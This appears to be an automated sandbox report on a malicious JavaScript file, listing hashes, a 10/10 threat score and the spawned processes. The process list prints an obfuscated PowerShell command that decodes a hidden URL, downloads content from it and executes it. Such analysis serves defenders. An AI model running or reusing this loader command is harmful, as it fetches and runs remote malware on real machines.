Analysis
-
max time kernel
14s -
max time network
18s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
-
submitted
21-12-2024 15:04
General
-
Target
493cc3ec025096c8c9911f0d7920dae7cfc775daf9ef0e7441053cf9c7bc044e.js
-
Size
202KB
-
MD5
4cf4a8e642c9b21d7b81e7d81d78a7ca
-
SHA1
ddac057c2c294eb0ae9042550b505eb8f5cff3d9
-
SHA256
493cc3ec025096c8c9911f0d7920dae7cfc775daf9ef0e7441053cf9c7bc044e
-
SHA512
aaadbc82fd50e6a7c1f9e57894c016dfbf5c47c3cb7043163f94a81842d4625919c64f29a8f0d3df88fb0a3748824e1688d840a0fa53d241dff642b383e9fae9
-
SSDEEP
1536:nwR+UVd8gM+1hi29p4BKs3vT7a/hdpqE58EHS8gM+1hi29p4BKs3vT7a/hdpqE5O:n+h4pm2h4BmRmeh4rh4y
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\493cc3ec025096c8c9911f0d7920dae7cfc775daf9ef0e7441053cf9c7bc044e.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $vhzfeylocrjxm='ur' ;new-alias printout c$($vhzfeylocrjxm)l;$tfzkquecvhwgo=(4605,4616,4624,4608,4610,4605,4625,4624,4629,4562,4624,4558,4605,4553,4623,4618,4619,4554,4556,4553,4619,4611,4619,4570,4622,4568,4616,4612,4617,4623,4622,4557,4556);$faelsurjcb=('bronx','get-cmdlet');$ugpabxqvots=$tfzkquecvhwgo;foreach($hmrlpajkngu in $ugpabxqvots){$ahkocdm=$hmrlpajkngu;$ziaduq=$ziaduq+[char]($ahkocdm-4507);$fkbdjnrpogwit=$ziaduq; $tyabnhvdzjioug=$fkbdjnrpogwit};$brkvgzwx[2]=$tyabnhvdzjioug;$oqkacij='rl';$wpyjhxdgkr=1;.$([char](9992-9887)+'e'+'x')(printout -useb $tyabnhvdzjioug)1⤵
- Process spawned unexpected child process